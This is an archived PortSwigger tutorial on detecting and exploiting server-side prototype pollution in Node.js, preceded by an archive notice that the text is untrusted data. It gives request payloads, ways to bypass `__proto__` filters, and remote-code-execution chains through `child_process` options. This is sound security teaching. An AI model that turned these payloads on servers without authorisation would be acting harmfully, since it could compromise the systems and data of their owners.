

Server-side prototype pollution

Server-side prototype pollution - Author not stated, portswigger.net.

- Published: date not stated
- Original: <<https://portswigger.net/web-security/prototype-pollution/server-side>>
- Preserved from: <https://portswigger.net/web-security/prototype-pollution/server-side> (live) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Server-side prototype pollution

JavaScript was originally a client-side language designed to run in browsers. However, due to the emergence of server-side runtimes, such as the hugely popular Node.js, JavaScript is now widely used to build servers, APIs, and other back-end applications. Logically, this means that it's also possible for prototype pollution vulnerabilities to arise in server-side contexts.

Although the fundamental concepts remain largely the same, the process of identifying server-side prototype pollution vulnerabilities, and developing them into working exploits, presents some additional challenges.

In this section, you'll learn a number of techniques for black-box detection of server-side prototype pollution. We'll cover how to do this efficiently and non-destructively, then use interactive, deliberately vulnerable labs to demonstrate how you can leverage prototype pollution for remote code execution.

PortSwigger Research

Some of the materials and labs in this section are based on original PortSwigger research. For more technical details and an insight into how we were able to develop these techniques, check out the accompanying whitepaper by Gareth Heyes:

- [Server-side prototype pollution: Black-box detection without the DoS](#)

Why is server-side prototype pollution more difficult to detect?

For a number of reasons, server-side prototype pollution is generally more difficult to detect than its client-side variant:

- **No source code access** - Unlike with client-side vulnerabilities, you typically won't have access to the vulnerable JavaScript. This means there's no easy way to get an overview of which sinks are present or spot potential gadget properties.
- **Lack of developer tools** - As the JavaScript is running on a remote system, you don't have the ability to inspect objects at runtime like you would when using your browser's DevTools to inspect the DOM. This means it can be hard to tell when you've successfully polluted the prototype unless you've caused a noticeable change in the website's behavior. This limitation obviously doesn't apply to white-box testing.
- **The DoS problem** - Successfully polluting objects in a server-side environment using real properties often breaks application functionality or brings down the server completely. As it's easy to inadvertently cause a denial-of-service (DoS), testing in production can be dangerous. Even if you do identify a vulnerability, developing this into an exploit is also tricky when you've essentially broken the site in the process.
- **Pollution persistence** - When testing in a browser, you can reverse all of your changes and get a clean environment again by simply refreshing the page. Once you pollute a server-side prototype, this change persists for the entire lifetime of the Node process and you don't have any way of resetting it.

In the following sections, we'll cover a number of non-destructive techniques that enable you to safely test for server-side prototype pollution despite these limitations.

Detecting server-side prototype pollution via polluted property reflection

An easy trap for developers to fall into is forgetting or overlooking the fact that a JavaScript `for...in` loop iterates over all of an object's enumerable properties, including ones that it has inherited via the prototype chain.

Note

This doesn't include built-in properties set by JavaScript's native constructors as these are non-enumerable by default.

You can test this out for yourself as follows:

```
const myObject = { a: 1, b: 2 }; // pollute the prototype with an arbitrary property
Object.prototype.foo = 'bar'; // confirm myObject doesn't have its own foo property
myObject.hasOwnProperty('foo'); // false // list names of properties of myObject
for(const propertyKey in myObject){ console.log(propertyKey); } // Output: a, b, foo
```

This also applies to arrays, where a `for...in` loop first iterates over each index, which is essentially just a numeric property key under the hood, before moving on to any inherited properties as well.

```
const myArray = ['a','b']; Object.prototype.foo = 'bar'; for(const arrayKey in myArray)
{ console.log(arrayKey); } // Output: 0, 1, foo
```

In either case, if the application later includes the returned properties in a response, this can provide a simple way to probe for server-side prototype pollution.

`POST` or `PUT` requests that submit JSON data to an application or API are prime candidates for this kind of behavior as it's common for servers to respond with a JSON representation of the new or updated object. In this case, you could attempt to pollute the global `Object.prototype` with an arbitrary property as follows:

```
POST /user/update HTTP/1.1 Host: vulnerable-website.com ... { "user":"wiener",
"firstName":"Peter", "lastName":"Wiener", "__proto__":{ "foo":"bar" } }
```

If the website is vulnerable, your injected property would then appear in the updated object in the response:

```
HTTP/1.1 200 OK ... { "username":"wiener", "firstName":"Peter", "lastName":"Wiener",
"foo":"bar" }
```

In rare cases, the website may even use these properties to dynamically generate HTML, resulting in the injected property being rendered in your browser.

Once you identify that server-side prototype pollution is possible, you can then look for potential gadgets to use for an exploit. Any features that involve updating user data are worth investigating as these often involve merging the incoming data into an existing object that represents the user within the application. If you can add arbitrary properties to your own user, this can potentially lead to a number of vulnerabilities, including privilege escalation.

Detecting server-side prototype pollution without polluted property reflection

Most of the time, even when you successfully pollute a server-side prototype object, you won't see the affected property reflected in a response. Given that you can't just inspect the object in a console either, this presents a challenge when trying to tell whether your injection worked.

One approach is to try injecting properties that match potential configuration options for the server. You can then compare the server's behavior before and after the injection to see whether this configuration change appears to have taken effect. If so, this is a strong indication that you've successfully found a server-side prototype pollution vulnerability.

In this section, we'll look at the following techniques:

- [Status code override](#)
- [JSON spaces override](#)

- [Charset override](#)

All of these injections are non-destructive, but still produce a consistent and distinctive change in server behavior when successful. You can use any of the techniques covered in this section to solve the [accompanying lab](#).

This is just a small selection of potential techniques to give you an idea of what's possible. For more technical details and an insight into how PortSwigger Research was able to develop these techniques, check out the accompanying whitepaper [Server-side prototype pollution: Black-box detection without the DoS](#) by Gareth Heyes.

Status code override

Server-side JavaScript frameworks like Express allow developers to set custom HTTP response statuses. In the case of errors, a JavaScript server may issue a generic HTTP response, but include an error object in JSON format in the body. This is one way of providing additional details about why an error occurred, which may not be obvious from the default HTTP status.

Although it's somewhat misleading, it's even fairly common to receive a `200 OK` response, only for the response body to contain an error object with a different status.

```
HTTP/1.1 200 OK ... { "error": { "success": false, "status": 401, "message": "You do not have permission to access this resource." } }
```

Node's `http-errors` module contains the following function for generating this kind of error response:

```
function createError () { //... if (type === 'object' && arg instanceof Error) { err = arg status = err.status || err.statusCode || status } else if (type === 'number' && i === 0) { //... if (typeof status !== 'number' || (!statuses.message[status] && (status < 400 || status >= 600))) { status = 500 } //...
```

The first highlighted line attempts to assign the `status` variable by reading the `status` or `statusCode` property from the object passed into the function. If the website's developers haven't explicitly set a `status` property for the error, you can potentially use this to probe for prototype pollution as follows:

- Find a way to trigger an error response and take note of the default status code.
- Try polluting the prototype with your own `status` property. Be sure to use an obscure status code that is unlikely to be issued for any other reason.
- Trigger the error response again and check whether you've successfully overridden the status code.

Note

You must choose a status code in the `400 - 599` range. Otherwise, Node defaults to a `500` status regardless, as you can see from the second highlighted line, so you won't know whether you've polluted the prototype or not.

JSON spaces override

The Express framework provides a `json spaces` option, which enables you to configure the number of spaces used to indent any JSON data in the response. In many cases, developers leave this property undefined as they're happy with the default value, making it susceptible to pollution via the prototype chain.

If you've got access to any kind of JSON response, you can try polluting the prototype with your own `json spaces` property, then reissue the relevant request to see if the indentation in the JSON increases accordingly. You can perform the same steps to remove the indentation in order to confirm the vulnerability.

This is an especially useful technique because it doesn't rely on a specific property being reflected. It's also extremely safe as you're effectively able to turn the pollution on and off simply by resetting the property to the same value as the default.

Although the prototype pollution has been fixed in Express 4.17.4, websites that haven't upgraded may still be vulnerable.

Note

When attempting this technique in Burp, remember to switch to the message editor's **Raw** tab. Otherwise, you won't be able to see the indentation change as the default prettified view normalizes this.

Charset override

Express servers often implement so-called "middleware" modules that enable preprocessing of requests before they're passed to the appropriate handler function. For example, the `body-parser` module is commonly used to parse the body of incoming requests in order to generate a `req.body` object. This contains another gadget that you can use to probe for server-side prototype pollution.

Notice that the following code passes an options object into the `read()` function, which is used to read in the request body for parsing. One of these options, `encoding`, determines which character encoding to use. This is either derived from the request itself via the `getCharset(req)` function call, or it defaults to UTF-8.

```
var charset = getCharset(req) or 'utf-8' function getCharset (req) { try { return (contentType.parse(req).parameters.charset || '').toLowerCase() } catch (e) { return undefined } } read(req, res, next, parse, debug, { encoding: charset, inflate: inflate, limit: limit, verify: verify })
```

If you look closely at the `getCharset()` function, it looks like the developers have anticipated that the `Content-Type` header may not contain an explicit `charset` attribute, so they've implemented some logic that reverts to an empty string in this case. Crucially, this means it may be controllable via prototype pollution.

If you can find an object whose properties are visible in a response, you can use this to probe for sources. In the following example, we'll use UTF-7 encoding and a JSON source.

Add an arbitrary UTF-7 encoded string to a property that's reflected in a response. For example, `foo` in UTF-7 is `+AGYAbwBv-` .

```
{ "sessionId":"0123456789", "username":"wiener", "role":"+AGYAbwBv-" }
```

- Send the request. Servers won't use UTF-7 encoding by default, so this string should appear in the response in its encoded form.

-

Try to pollute the prototype with a `content-type` property that explicitly specifies the UTF-7 character set:

```
{ "sessionId":"0123456789", "username":"wiener", "role":"default", "__proto__":{  
  "content-type": "application/json; charset=utf-7" } } -
```

Repeat the first request. If you successfully polluted the prototype, the UTF-7 string should now be decoded in the response:

```
{ "sessionId":"0123456789", "username":"wiener", "role":"foo" }
```

Due to a bug in Node's `_http_incoming` module, this works even when the request's actual `Content-Type` header includes its own `charset` attribute. To avoid overwriting properties when a request contains duplicate headers, the `_addHeaderLine()` function checks that no property already exists with the same key before transferring properties to an `IncomingMessage` object

```
IncomingMessage.prototype._addHeaderLine = _addHeaderLine; function  
_addHeaderLine(field, value, dest) { // ... } else if (dest[field] === undefined) { //  
Drop duplicates dest[field] = value; } }
```

If it does, the header being processed is effectively dropped. Due to the way this is implemented, this check (presumably unintentionally) includes properties inherited via the prototype chain. This means that if we pollute the prototype with our own `content-type` property, the property representing the real `Content-Type` header from the request is dropped at this point, along with the intended value derived from the header.

Scanning for server-side prototype pollution sources

Although it's useful to try manually probing for sources in order to solidify your understanding of the vulnerability, this can be repetitive and time-consuming in practice. For this reason, we've created the [Server-Side Prototype Pollution Scanner](#) extension for Burp Suite, which enables you to automate this process. The basic workflow is as follows:

- Install the **Server-Side Prototype Pollution Scanner** extension from the BApp Store and make sure that it is enabled. For details on how to do this, see [Installing extensions from the BApp Store](#)
- Explore the target website using Burp's browser to map as much of the content as possible and accumulate traffic in the proxy history.
- In Burp, go to the **Proxy > HTTP history** tab.
- Filter the list to show only in-scope items.

- Select all items in the list.
- Right-click your selection and go to **Extensions > Server-Side Prototype Pollution Scanner > Server-Side Prototype Pollution**, then select one of the scanning techniques from the list.
- When prompted, modify the attack configuration if required, then click **OK** to launch the scan.

In Burp Suite Professional, the extension reports any prototype pollution sources it finds via the **Issue activity** panel on the **Dashboard** and **Target** tabs. If you're using Burp Suite Community Edition, you need to go to the **Extensions > Installed** tab, select the extension, then monitor its **Output** tab for any reported issues.

Note

If you're unsure which scanning technique to use, you can also select **Full scan** to run a scan using all of the available techniques. However, this will involve sending significantly more requests.

Bypassing input filters for server-side prototype pollution

Websites often attempt to prevent or patch prototype pollution vulnerabilities by filtering suspicious keys like `__proto__`. This key sanitization approach is not a robust long-term solution as there are a number of ways it can potentially be bypassed. For example, an attacker can:

- Obfuscate the prohibited keywords so they're missed during the sanitization. For more information, see [Bypassing flawed key sanitization](#).
- Access the prototype via the constructor property instead of `__proto__`. For more information, see [Prototype pollution via the constructor](#)

Node applications can also delete or disable `__proto__` altogether using the command-line flags `--disable-proto=delete` or `--disable-proto=throw` respectively. However, this can also be bypassed by using the constructor technique.

Remote code execution via server-side prototype pollution

While client-side prototype pollution typically exposes the vulnerable website to DOM XSS, server-side prototype pollution can potentially result in remote code execution (RCE). In this section, you'll learn how to identify cases where this may be possible and how to exploit some potential vectors in Node applications.

Identifying a vulnerable request

There are a number of potential command execution sinks in Node, many of which occur in the `child_process` module. These are often invoked by a request that occurs asynchronously to the request with which you're able to pollute the prototype in the first

place. As a result, the best way to identify these requests is by polluting the prototype with a payload that triggers an interaction with Burp Collaborator when called.

The `NODE_OPTIONS` environment variable enables you to define a string of command-line arguments that should be used by default whenever you start a new Node process. As this is also a property on the `env` object, you can potentially control this via prototype pollution if it is undefined.

Some of Node's functions for creating new child processes accept an optional `shell` property, which enables developers to set a specific shell, such as `bash`, in which to run commands. By combining this with a malicious `NODE_OPTIONS` property, you can pollute the prototype in a way that causes an interaction with Burp Collaborator whenever a new Node process is created:

```
"__proto__": { "shell": "node", "NODE_OPTIONS": "--inspect=YOUR-COLLABORATOR-ID.oastify.com\\\\".oastify\\".com" }
```

This way, you can easily identify when a request creates a new child process with command-line arguments that are controllable via prototype pollution.

Tip

The escaped double-quotes in the hostname aren't strictly necessary. However, this can help to reduce false positives by obfuscating the hostname to evade WAFs and other systems that scrape for hostnames.

Remote code execution via `child_process.fork()`

Methods such as `child_process.spawn()` and `child_process.fork()` enable developers to create new Node subprocesses. The `fork()` method accepts an options object in which one of the potential options is the `execArgv` property. This is an array of strings containing command-line arguments that should be used when spawning the child process. If it's left undefined by the developers, this potentially also means it can be controlled via prototype pollution.

As this gadget lets you directly control the command-line arguments, this gives you access to some attack vectors that wouldn't be possible using `NODE_OPTIONS`. Of particular interest is the `--eval` argument, which enables you to pass in arbitrary JavaScript that will be executed by the child process. This can be quite powerful, even enabling you to load additional modules into the environment:

```
"execArgv": [ "--eval=require('<module>')" ]
```

In addition to `fork()`, the `child_process` module contains the `execSync()` method, which executes an arbitrary string as a system command. By chaining these JavaScript and command injection sinks, you can potentially escalate prototype pollution to gain full RCE capability on the server.

Remote code execution via `child_process.execSync()`

In the previous example, we injected the `child_process.execSync()` sink ourselves via the `--eval` command line argument. In some cases, the application may invoke this method of its own accord in order to execute system commands.

Just like `fork()`, the `execSync()` method also accepts options object, which may be pollutable via the prototype chain. Although this doesn't accept an `execArgv` property, you can still inject system commands into a running child process by simultaneously polluting both the `shell` and `input` properties:

- The `input` option is just a string that is passed to the child process's `stdin` stream and executed as a system command by `execSync()`. As there are other options for providing the command, such as simply passing it as an argument to the function, the `input` property itself may be left undefined.
- The `shell` option lets developers declare a specific shell in which they want the command to run. By default, `execSync()` uses the system's default shell to run commands, so this may also be left undefined.

By polluting both of these properties, you may be able to override the command that the application's developers intended to execute and instead run a malicious command in a shell of your choosing. Note that there are a few caveats to this:

- The `shell` option only accepts the name of the shell's executable and does not allow you to set any additional command-line arguments.
- The shell is always executed with the `-c` argument, which most shells use to let you pass in a command as a string. However, setting the `-c` flag in Node instead runs a syntax check on the provided script, which also prevents it from executing. As a result, although there are workarounds for this, it's generally tricky to use Node itself as a shell for your attack.
- As the `input` property containing your payload is passed via `stdin`, the shell you choose must accept commands from `stdin`.

Although they aren't really intended to be shells, the text editors Vim and ex reliably fulfill all of these criteria. If either of these happen to be installed on the server, this creates a potential vector for RCE:

```
"shell":"vim", "input":"","<command>\n"
```

Note

Vim has an interactive prompt and expects the user to hit `Enter` to run the provided command. As a result, you need to simulate this by including a newline (`\n`) character at the end of your payload, as shown in the example above.

One additional limitation of this technique is that some tools that you might want to use for your exploit also don't read data from `stdin` by default. However, there are a few simple ways around this. In the case of `curl`, for example, you can read `stdin` and send the contents as the body of a `POST` request using the `-d @-` argument.

In other cases, you can use `xargs`, which converts `stdin` to a list of arguments that can be passed to a command.

What next?

To help you protect your own websites from the prototype pollution issues we've looked at, we've provided some high-level advice on some of the measures you can take, as well as how to avoid some common pitfalls.

- [Preventing prototype pollution vulnerabilities](#)

Archived from <https://portswigger.net/web-security/prototype-pollution/server-side>. Rendered offline from the local Markdown copy.